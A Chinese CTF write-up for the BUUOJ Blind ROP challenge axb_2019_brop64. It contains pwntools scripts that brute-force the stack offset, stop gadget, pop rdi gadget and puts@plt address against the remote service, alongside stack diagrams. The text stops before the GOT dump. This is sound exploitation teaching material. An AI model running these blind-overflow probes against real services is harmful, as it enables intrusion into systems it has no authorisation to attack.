—BlindROP 盲打例题

参考资料：https://www.cnblogs.com/HX-Note/p/17291361.html

axb_2019_brop64

首先连接一下远程环境，看一看程序会发送出来什么信息，我们又需要输入什么，先了解程序的基本运行流程：1772641869444-c4bfda44-2421-467c-8b6b-1ded8e8c0179.png

寻找程序的偏移量：

这里我们可以看到，在 Please tell me: 后用户可以进行字符串的输入，之后会返回 Repeater 和 GoodBye。我们从偏移为 1 开始暴力枚举，当程序崩溃的时候代表缓冲区已经填充满，-1 即为最大填充长度，也就是偏移：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
from pwn import *
from LibcSearcher import *

def offset_find( ):
    offset = 0
    while True:
        try:
            offset += 1
            io = remote("node5.buuoj.cn",29566)
            io.recvuntil(b'Please tell me:')
            io.send(b'A'*offset)
            if b'Goodbye!' not in io.recvall():
                raise 'Programe not exit normally!'
            io.close()
        except Exception:
            log.success('The true offset->ebp length is '+ str(offset -1))
            return offset - 1       # 当前offset是导致程序崩溃的时候，-1为缓冲区的最大填充位
offset_find()

1772642175647-a25ee01a-dccd-4b11-8110-3f0aef005168.png

寻找 stop gadgets：

stop gadgets 一般指的是这样一段代码：当程序的执行这段代码时，程序会进入无限循环，这样使得攻击者能够一直保持连接状态。 如果该地址是非法地址，那么程序就会crash。这样的话，在攻击者看来程序只是单纯的crash了。因此，攻击者就会认为在这个过程中并没有执行到任何的useful gadget，从而放弃它。

寻找 main 函数地址

我们想要寻找 main_addr 作为本题的 stop gadgets，从而可以无限次返回本题的 main 函数进行攻击：

我们首先需要知道栈上的分布：

AAAA…(216 个 A) + \x70\x08\x40\x00\x00\x00\x00\x00（返回地址-假设的）+ Goodbye!

根据栈的分布，我们可以截取出返回地址的值，它要跳回代码原.text 段，也就是我们想要的 main 地址。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
from pwn import *
from LibcSearcher import *
context(arch='amd64', os='linux', log_level='debug')
def main_find(offset):
    io = remote("node5.buuoj.cn",29566)
    io.recvuntil(b'Please tell me:')
    io.send(b'A'*offset)
    io.recvuntil(b'A'*offset)
    old_return_addr = u64(io.recvuntil(b'G')[:-1].ljust(8,b'\x00')) #need 8 byte
    print(hex(old_return_addr)) 
    io.close()
    return old_return_addr
main_find(216)

1772643144586-be660611-fe3a-4083-b415-2ad74b7b4270.png
寻找 stop_gadgets：

0x400834-216=0x40075C

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
from pwn import *
from LibcSearcher import *

def stop_find(old_return_addr,offset):
    stop_addr = 0x07d0 #0x0000 #low-bit
    while True:
        try:
            io = remote("node5.buuoj.cn",29566)
            io.recvuntil(b"Please tell me:")
            io.send(b'A' * offset + p64(old_return_addr + stop_addr))
            print(hex(stop_addr))
            if stop_addr > 0xFFFF:
                log.error("All low byte is wrong!")
            if b"Hello" in io.recvall( ):
                log.success("We found a stop gadget is " + hex(old_return_addr+stop_addr))
                return (old_return_addr + stop_addr)
            stop_addr = stop_addr + 1
        except Exception:
            io.close()

stop_find(0x40075C,216)

存疑 stop_addr = 0x4007d6

寻找 brop_gadgets

寻找BROP gadgets，这段gadget也就是libc_csu_init中的这段gadget。 我们需要用到这一段的内容：

1772644946267-0ae799fd-51a2-486e-ab69-cbba5a7b35fb.png 
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29

.text:000000000040095A                 pop     rbx
.text:000000000040095B                 pop     rbp
.text:000000000040095C                 pop     r12
.text:000000000040095E                 pop     r13
.text:0000000000400960                 pop     r14
                    61                 pop     rsi;ret # 40095A + 0x07
.text:0000000000400962                 pop     r15 
                    63                 pop     rdi;ret # 400956 + 0x09
.text:0000000000400964                 retn            # 400956 + 0x14

# 利用了gadget的结构，来确认是否为我们的要的那个gadget
                        
   +---------------------------+ 
   |          traps            | <----- traps，程序中不存在的地址，当IP指针指向该处时崩溃
   +---------------------------+
   |           ....            | <----- traps，程序中不存在的地址，当IP指针指向该处时崩溃
   +---------------------------+
   |          traps            | <----- traps，程序中不存在的地址，当IP指针指向该处时崩溃
   +---------------------------+
   |          traps            | <----- traps，程序中不存在的地址，当IP指针指向该处时崩溃
   +---------------------------+
   |          traps            | <----- traps，程序中不存在的地址，当IP指针指向该处时崩溃
   +---------------------------+
   |          stop             | <----- stop gadget，不会使程序崩溃，作为probe的ret位
   +---------------------------+
   |          probe            | <----- 探针
   -----------------------------

由于我们后面的目标是运用 puts@plt 表，所以我们当前要做的是寻找 pop rdi；ret

典型的 BROP gadget 是 pop rbx; pop rbp; pop r12; pop r13; pop r14; pop r15; ret（6 个 pop + 1 个 ret）—— 执行时会从栈上弹出 6 个值（对应 p64(0)*6），然后 ret 跳转到 stop_addr；如果 addr 不是 BROP gadget（比如指令无效）程序会崩溃；如果是有效 gadget，程序会正常执行到 stop_addr。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
              +---------------------------+
              |       		 0    	       | trap
              +---------------------------+
              |       	   .....           | trap
              +---------------------------+
              |       		 0    	       | trap
              +---------------------------+
              |       	stop gadget        | stop gadget作为ret返回地址
              +---------------------------+
              |       		 0    	       | trap
              +---------------------------+
              |       		 0    	       | trap
              +---------------------------+
              |       		 0    	       | trap
              +---------------------------+
              |       		 0    	       | trap
              +---------------------------+
              |       		 0    	       | trap
              +---------------------------+
              |       		 0    	       | trap
              +---------------------------+
              |         0x400740+         | 递增地址覆盖原ret返回位置
              +---------------------------+
              |             a             | a字符串覆盖原saved ebp位置
       ebp--->+---------------------------+
              |             a             | a字符串占位填满栈空间
              |           ....            |        .....
              |             a             | a字符串占位填满栈空间
              |             a             | a字符串占位填满栈空间
              |             a             | a字符串占位填满栈空间
              |             a             | a字符串占位填满栈空间
our input-->+---------------------------+

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
from pwn import *
from LibcSearcher import *

def brop_find(stop_addr,offset):
    addr = 0x400950 #0x400000
    while True:
        try:
            io = remote("node5.buuoj.cn",28158)
            io.recvuntil(b"Please tell me:")
            print(hex(addr))                  
            payload = b'a'*offset + p64(addr) + p64(0)*6 + p64(stop_addr)
            io.send(payload)
            if b'Hello' in io.recvall(timeout=1):
                log.success("We find the brop_gadget " + hex(addr))
                return hex(addr)
            addr += 1
        except Exception:
            io.close()
brop_find(0x4007d6,216)

1772646100327-66adbf2d-02fd-401d-a3de-de6847540a34.png至此我们得到 pop rdi；ret 地址为 0x40059a + 0x9

寻找 puts.plt：

为了让程序有健壮性，在软件构建的时候，采用了动态链接。也就是，需要才去找他这个函数存在于哪里，利用plt和got表配合使用，从而实现这个功能。而 puts-plt有跳转执行函数的功能，找到puts-plt就能执行puts函数。

对于寻找的思路，我们依旧是暴力枚举，(爆破范围是0x0000~0xFFFF)，基址为0x400000 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
             +---------------------------+
              |       	stop gadget        | stop gadget确保程序不崩溃
              +---------------------------+
              |       	  0x400000+        | 循环递增地址，作为pop的ret地址
              +---------------------------+
              |          0x400000 	       | ELF起始地址，地址内存放'\x7fELF'
              +---------------------------+
              |        0x40095a + 0x9     | pop rdi；ret地址覆盖原ret返回位置
              +---------------------------+
              |             a             | a字符串覆盖ebp位置
       ebp--->+---------------------------+
              |             a             | a字符串占位填满栈空间
              |           ....            |        .....
              |             a             | a字符串占位填满栈空间
              |             a             | a字符串占位填满栈空间
              |             a             | a字符串占位填满栈空间
              |             a             | a字符串占位填满栈空间
our input-->+---------------------------+


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
from pwn import *
from LibcSearcher import *

def func_plt_find(plt_base, offset, stop_addr, pop_rdi_ret):
    maybe_low_byte = 0x0630 #0x0000
    while True:
        try:
            io = remote("node5.buuoj.cn",28158)
            io.recvuntil(b"Please tell me:")
            payload = b'A' * offset
            payload += p64(pop_rdi_ret)
            payload += p64(0x400000)
            payload += p64(plt_base+ maybe_low_byte)
            payload += p64(stop_addr)
            print(hex(maybe_low_byte))
            io.send(payload)
            if maybe_low_byte > 0xFFFF:
                log.error("All low byte is wrong!")
            if b"ELF" in io.recvall(timeout=1):  
                log.success("We found a function plt address is " + hex(plt_base + maybe_low_byte))
                return hex(plt_base + maybe_low_byte)
            maybe_low_byte = maybe_low_byte + 1
        except:
            io.close()
func_plt_find(0x400000,216,0x4007d6,0x40095a + 0x9)

1772646848247-fb71330f-b337-458f-8f50-7b97b3899c57.png

得到 puts.plt = 0x400635

获取 puts.got 表地址

我们知道，plt表里，存着got地址，如果我们把plt表dump出来，那么我们就知道got的地址，知道got的地址，我们就能泄露真实的函数地址 ：

1772648581831-3f562986-d837-49e8-b1f3-6dd4e357c152.png1772648668632-42d22d0e-5a38-4ce9-a92a-9c22d0c81ed0.png

更新: 2026-03-05 19:33:14
原文: https://www.yuque.com/idcm/wnemg9/zvyb0o9g494ivfo8